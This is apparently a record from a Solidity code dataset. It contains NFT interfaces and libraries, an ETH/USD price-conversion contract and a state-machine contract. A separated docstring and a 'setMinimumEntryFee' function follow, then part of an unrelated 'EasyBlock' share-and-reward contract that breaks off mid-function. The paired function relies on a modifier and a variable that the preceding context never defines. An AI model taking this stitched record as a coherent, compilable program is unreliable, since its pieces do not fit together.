* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
// Get the latest ETH/USD price from chainlink price feed
import "AggregatorV3Interface.sol";
contract EthUsPriceConversion {
uint256 immutable usdEntryFee;
AggregatorV3Interface immutable ethUsdPriceFeed;
constructor(
address _priceFeedAddress,
uint256 minumum_entry_fee
) {
ethUsdPriceFeed = AggregatorV3Interface(_priceFeedAddress);
usdEntryFee = minumum_entry_fee * (10**18);
}
/**
* @notice Get the current Ethereum market price in Wei
*/
function getETHprice() external view returns (uint256) {
(, int256 price, , , ) = ethUsdPriceFeed.latestRoundData();
uint256 adjustedPrice = uint256(price) * 10**10; // 18 decimals
return adjustedPrice;
}
/**
* @notice Get the current Ethereum market price in US Dollar
* 1000000000
*/
function getETHpriceUSD() external view returns (uint256) {
uint256 ethPrice = this.getETHprice();
uint256 ethAmountInUsd = ethPrice / 1000000000000000000;
// the actual ETH/USD conversation rate, after adjusting the extra 0s.
return ethAmountInUsd;
}
/**
* @notice Get the minimum funding amount which is $50
*/
function getEntranceFee() external view returns (uint256) {
uint256 adjustedPrice = this.getETHprice();
// $50, $2,000 / ETH
// 50/2,000
// 50 * 100000 / 2000
uint256 costToEnter = (usdEntryFee * 10**18) / adjustedPrice;
return costToEnter;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
contract State {
enum STATE { OPEN, END, CLOSED }
STATE state;
constructor() {
state = STATE.CLOSED;
}
/**
* @notice Open the funding account. Users can start funding now.
*/
function start() external {
require(state == STATE.CLOSED, "Can't start yet! Current state is not closed yet!");
state = STATE.OPEN;
}
/**
* @notice End the state.
*/
function end() external {
require(state == STATE.OPEN, "Not opened yet.");
state = STATE.END;
}
/**
* @notice Close the state.
*/
function closed() external {
require(state == STATE.END, "Not ended yet.");
state = STATE.CLOSED;
}
/**
* @notice Get current funding state in string.
*/
function getCurrentState() external view returns (string memory) {
require((state == STATE.OPEN || state == STATE.END || state == STATE.CLOSED), "unknown state.");
if (state == STATE.OPEN)
return "open";
else if (state == STATE.END)
return "end";
else if (state == STATE.CLOSED)
return "closed";
else
return "unknow state";
}
/**
* @notice Get current funding state in enum STATE type.
*/
function getCurrentStateType() external view returns (STATE) {
require((state == STATE.OPEN || state == STATE.END || state == STATE.CLOSED), "unknown state.");
return state;
}
/**
* @notice Update the funding state
* @param newState - change to new state
*/
function setState(uint32 newState) external {
require((newState >= 0 && newState <=2), "Invalid number for state. 0=OPEN 1=END 2=CLOSED");
if (newState == 0)
state = STATE.OPEN;
else if(newState == 1)
state = STATE.END;
else if(newState == 2)
state = STATE.CLOSED;
}
/**
* @notice Update the funding state
* @param newState - change to new state
*/
function setStateType(STATE newState) external {
require((newState == STATE.OPEN || newState == STATE.END || newState == STATE.CLOSED), "unknown state.");
state = newState;
}
/**
* @notice Get the STATE.
*/
function getState() external view returns (STATE) {
return state;
}
/**
* @notice Get the OPEN STATE
*/
function getOpenState() external pure returns (STATE) {
return STATE.OPEN;
}
/**
* @notice Get the END STATE
*/
function getEndState() external pure returns (STATE) {
return STATE.END;
}
/**
* @notice Get the CLOSED STATE
*/
function getClosedState() external pure returns (STATE) {
return STATE.CLOSED;
}
}
|
Set the minimum entry fee to fund in this contract/
|
function setMinimumEntryFee(uint32 newMinEntryFee) external onlyOwner {
minimumEntreeFee = newMinEntryFee;
}
| 358,836 |
// SPDX-License-Identifier: MIT
// // / / // ) )
// //____ ___ ___ //___/ / // ___ ___ / ___
// / ____ // ) ) (( ) ) // / / / __ ( // // ) ) // ) ) //\ \
// // // / / \ \ ((___/ / // ) ) // // / / // // \ \
////____/ / ((___( ( // ) ) / / //____/ / // ((___/ / ((____ // \ \
// Developed by Dogu Deniz UGUR (https://github.com/DoguD)
pragma solidity ^0.8.0;
// LIBRARIES START
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard}
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// ERC20 Interface
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// LIBRARIES END
// PREVIOUS EASYBLOCK CONTRACT INTERFACE
interface Easyblock {
function holders(uint256 _index) external view returns (address);
function shareCount(address _address) external view returns (uint256);
}
contract EasyBlock {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Shareholder Info
address[] public holders;
uint256 public holderCount;
mapping(address => uint256) public shareCount;
mapping(address => uint256) public claimableReward;
mapping(address => bool) public isShareHolder;
uint256 public totalShareCount = 0;
// Manager Info
address public manager;
uint256 public fee = 0; // per 1000
address public feeCollector;
// Deposit Token
address public rewardToken;
// Purchase Tokens
address public purchaseToken;
uint256 public purchaseTokenPrice; // In decimals
uint256 public newInvestments = 0;
uint256 public purchaseTokenPremium;
uint256 public premiumCollected = 0;
// StrongBlock Node Holders
address[] public nodeHolders;
uint256 public nodeHoldersCount;
uint256 public nodeCount;
// Statistic Variables
uint256 public totalInvestment;
uint256 public totalRewardsDistributed;
uint256 public rewardAmountInside = 0;
// Protocol controllers
bool public sharePurchaseEnabled;
// Migartion
bool public isMigrating = true;
address public previousContract;
Easyblock easyContract;
// Experimental sell function
uint256 public sellFee = 0; // per 1000
uint256 public sellAllowance = 0; // In decimals
address public sellToken;
uint256 public totalSharesSold = 0;
bool public isSellAllowed = false;
uint256 public totalAmountOfSellBack = 0;
/* ======== EVENTS ======== */
event Investment(
uint256 shareAmount,
uint256 investmentInUSD,
address shareHolder
);
event RewardCollected(uint256 amount, address shareHolder);
event ShareSold(
uint256 shareCount,
uint256 amountInTotal,
address shareHolder
);
constructor(
uint256 _fee,
address _previousContract,
uint256 _totalInvestment,
uint256 _totalRewards
) {
manager = msg.sender;
fee = _fee;
feeCollector = msg.sender;
totalInvestment = _totalInvestment;
totalRewardsDistributed = _totalRewards;
sharePurchaseEnabled = false;
// Migration
previousContract = _previousContract;
easyContract = Easyblock(previousContract);
}
// Experimental sell functions
function setSellToken(address _sellToken) external onlyOwner {
sellToken = _sellToken;
}
function setSellAllowance(uint256 _allowance) external onlyOwner {
if (_allowance > sellAllowance) {
newInvestments -= (_allowance - sellAllowance);
} else {
newInvestments += (sellAllowance - _allowance);
}
sellAllowance = _allowance;
}
function setSellFee(uint256 _fee) external onlyOwner {
sellFee = _fee;
}
function toggleIsSellAllowed(bool _isSellAllowed) external onlyOwner {
isSellAllowed = _isSellAllowed;
}
function getSellPrice() public view returns(uint256){
return purchaseTokenPrice * (1000 - sellFee) / 1000;
}
function sellBackShares(uint256 _shareAmount) external {
require(isSellAllowed, "Sell is not allowed");
require(
_shareAmount <= shareCount[msg.sender],
"Not enough shares to sell"
);
uint256 _sellAmount = _shareAmount * getSellPrice();
require(_sellAmount <= sellAllowance, "Not enough allowance to sell");
shareCount[msg.sender] = shareCount[msg.sender].sub(_shareAmount);
totalSharesSold += _shareAmount;
totalAmountOfSellBack += _sellAmount;
totalShareCount -= _shareAmount;
sellAllowance -= _sellAmount;
IERC20(sellToken).safeTransfer(msg.sender, _sellAmount);
emit ShareSold(_shareAmount, _sellAmount, msg.sender);
}
function getMaxAmountOfSharesToBeSold() external view returns (uint256) {
uint256 _sellPricePercentage = 1000 - sellFee;
uint256 _sellPrice = purchaseTokenPrice.mul(_sellPricePercentage).div(
1000
);
uint256 _maxAmount = sellAllowance.div(_sellPrice);
return _maxAmount;
}
// Controller toggles
function toggleSharePurchaseEnabled(bool _enabled) external onlyOwner {
sharePurchaseEnabled = _enabled;
}
// Deposit to Purchase Methods
function editPurchaseToken(address _tokenAddress) external onlyOwner {
purchaseToken = _tokenAddress;
}
function editPurchasePrice(uint256 _price) external onlyOwner {
purchaseTokenPrice = _price;
}
function editTokenPremium(uint256 _tokenPremium) external onlyOwner {
purchaseTokenPremium = _tokenPremium;
}
// Deposit to Share Rewards Methods
function setDepositToken(address _tokenAddress) external onlyOwner {
rewardToken = _tokenAddress;
}
// NodeHolders
function setNodeHolder(address _address) external onlyOwner {
nodeHolders.push(_address);
nodeHoldersCount += 1;
}
function setNodeCount(uint256 _count) external onlyOwner {
nodeCount = _count;
}
// Manager Related Methods
function setManager(address _address) external onlyOwner {
manager = _address;
}
function setFeeCollector(address _address) external onlyOwner {
feeCollector = _address;
}
function setFee(uint256 _fee) external onlyOwner {
fee = _fee;
}
// Withdrawals
function withdrawToManager() external onlyOwner {
IERC20(purchaseToken).safeTransfer(manager, newInvestments);
newInvestments = 0;
}
function withdrawPremiumToManager() external onlyOwner {
IERC20(purchaseToken).safeTransfer(manager, premiumCollected);
premiumCollected = 0;
}
function emergencyWithdrawal(address _token, uint256 _amount)
external
onlyOwner
{
IERC20(_token).safeTransfer(manager, _amount);
}
function depositRewards(
uint32 _start,
uint32 _end,
uint256 _amount
) external {
uint256 _addedRewards = 0;
// Fees
_amount = (_amount * (1000 - fee)) / 1000;
// Reward per share
uint256 _rewardPerShare = _amount / totalShareCount;
for (uint32 _i = _start; _i < _end; _i++) {
address _currentHolder = holders[_i];
uint256 _userReward = _rewardPerShare * shareCount[_currentHolder];
claimableReward[_currentHolder] =
claimableReward[_currentHolder] +
_userReward;
_addedRewards += _userReward;
}
// Stats
totalRewardsDistributed += _addedRewards;
rewardAmountInside += _addedRewards;
// Transfer the rewards
IERC20(rewardToken).safeTransferFrom(
msg.sender,
address(this),
_addedRewards
);
// Transfer the fee
IERC20(rewardToken).safeTransferFrom(
msg.sender,
feeCollector,
(_addedRewards / (1000 - fee)) * fee
);
}
function transferSharesFromManager(
address _targetAddress,
uint256 _shareAmount
) external onlyOwner {
require(shareCount[msg.sender] >= _shareAmount, "Not Enough Shares.");
